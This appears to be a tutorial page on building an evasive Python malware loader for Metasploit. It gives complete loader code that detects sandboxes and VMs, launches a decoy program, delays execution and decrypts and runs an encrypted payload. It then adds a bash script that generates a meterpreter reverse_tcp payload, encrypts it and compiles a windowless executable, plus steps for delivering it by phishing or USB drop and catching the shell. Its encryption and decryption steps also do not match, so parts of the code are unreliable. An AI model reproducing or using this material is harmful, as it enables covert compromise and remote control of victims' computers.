Skip to content

14. Metasploit Customizing the Python Loader

Customizing the Python loader to add stealth features and functionality that avoids detection and raises suspicion as little as possible. Additionally, we’ll include automation techniques for ease of deployment.


Step 1: Enhancing the Python Loader

We will:

  1. Add environment checks.
  2. Include a decoy action (e.g., opening a legitimate application or document).
  3. Implement encryption for payload decryption.

Final Python Loader Code

Here’s a fully customized and stealthy Python loader:

import os
import base64
import subprocess
import time
from Crypto.Cipher import AES

# Configuration
key = b"mysecretkeymysecretkeymysecretk"  # 32 bytes for AES-256
iv = b"16_BYTE_INIT_VEC"                 # 16-byte initialization vector

# Encrypted payload
encrypted_payload = b"ENCRYPTED_PAYLOAD_HERE"

# Decoy functionality (open a legitimate file)
def launch_decoy():
    decoy_path = "C:\\Windows\\System32\\calc.exe"  # Path to a legitimate application
    subprocess.Popen([decoy_path])

# Check environment to detect sandbox or VM
def environment_check():
    suspicious_processes = ["vboxservice.exe", "vmtoolsd.exe"]
    system_info = os.popen("tasklist").read().lower()
    for proc in suspicious_processes:
        if proc in system_info:
            print("[!] Sandbox/VM detected. Exiting...")
            exit()

# Decrypt payload
def decrypt_payload():
    print("[*] Decrypting payload...")
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_payload = cipher.decrypt(encrypted_payload)
    return decrypted_payload.rstrip(b"\0")  # Remove padding

# Save and execute the decrypted payload
def execute_payload(payload):
    payload_path = "decrypted_payload.exe"
    with open(payload_path, "wb") as f:
        f.write(payload)
    subprocess.Popen(payload_path, shell=True)

# Main logic
if __name__ == "__main__":
    # Perform sandbox/VM checks
    environment_check()

    # Launch decoy to reduce suspicion
    print("[*] Launching decoy application...")
    launch_decoy()

    # Delay execution to avoid detection
    print("[*] Sleeping for 10 seconds...")
    time.sleep(10)

    # Decrypt and execute payload
    decrypted_payload = decrypt_payload()
    execute_payload(decrypted_payload)
    print("[*] Payload executed successfully.")

Step 2: Customizing Components

1. Replace Placeholders

  • Replace ENCRYPTED_PAYLOAD_HERE:

    • Encrypt your payload:

      openssl enc -aes-256-cbc -salt -in payload.raw -out payload.enc -pass pass:mysecretkey
      
    • Convert to a Python byte string:

      xxd -i payload.enc
      
      • Copy the output into encrypted_payload in the script.
      • Replace 16_BYTE_INIT_VEC:
    • Generate a random IV:

      openssl rand -hex 16
      
    • Use the result as the initialization vector.

2. Update Decoy Application

  • Change decoy_path to point to a different legitimate application:

    decoy_path = "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE"
    

3. Adjust Environment Checks

  • Add additional sandbox/VM detections:

    suspicious_files = ["sandboxdll.dll", "vmwareuser.exe"]
    suspicious_registry_keys = [
        r"HKLM\Software\VMware, Inc.\VMware Tools",
        r"HKLM\System\ControlSet001\Services\Disk\Enum"
    ]
    

Step 3: Compile the Loader

  1. Install pyinstaller:

    pip install pyinstaller
    
  2. Compile the script:

    pyinstaller --onefile --noconsole loader.py
    

    Output: dist/loader.exe


Step 4: Automating the Process

Create a Bash or Python script to automate payload creation, encryption, and loader compilation.

Bash Script Example

#!/bin/bash
# Variables
PAYLOAD="payload.raw"
ENCRYPTED="payload.enc"
LOADER="loader.py"
OUTPUT="final_loader.exe"

# Step 1: Generate payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o $PAYLOAD

# Step 2: Encrypt payload
openssl enc -aes-256-cbc -salt -in $PAYLOAD -out $ENCRYPTED -pass pass:mysecretkey

# Step 3: Convert to Python byte string
ENCODED_PAYLOAD=$(xxd -i $ENCRYPTED | tail -n +2 | tr -d '\n')

# Step 4: Replace placeholders in loader script
sed -i "s|ENCRYPTED_PAYLOAD_HERE|${ENCODED_PAYLOAD}|" $LOADER

# Step 5: Compile Python loader
pyinstaller --onefile --noconsole $LOADER

# Step 6: Cleanup
rm $PAYLOAD $ENCRYPTED $LOADER.spec -rf build

echo "Final payload saved as dist/$OUTPUT"

Step 5: Deploy the Obfuscated Payload

  1. Host the payload:

    python3 -m http.server 8080
    
  2. Deliver it to the target (e.g., via phishing or USB drop).

  3. Set up Metasploit listener:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.10
    set LPORT 4444
    exploit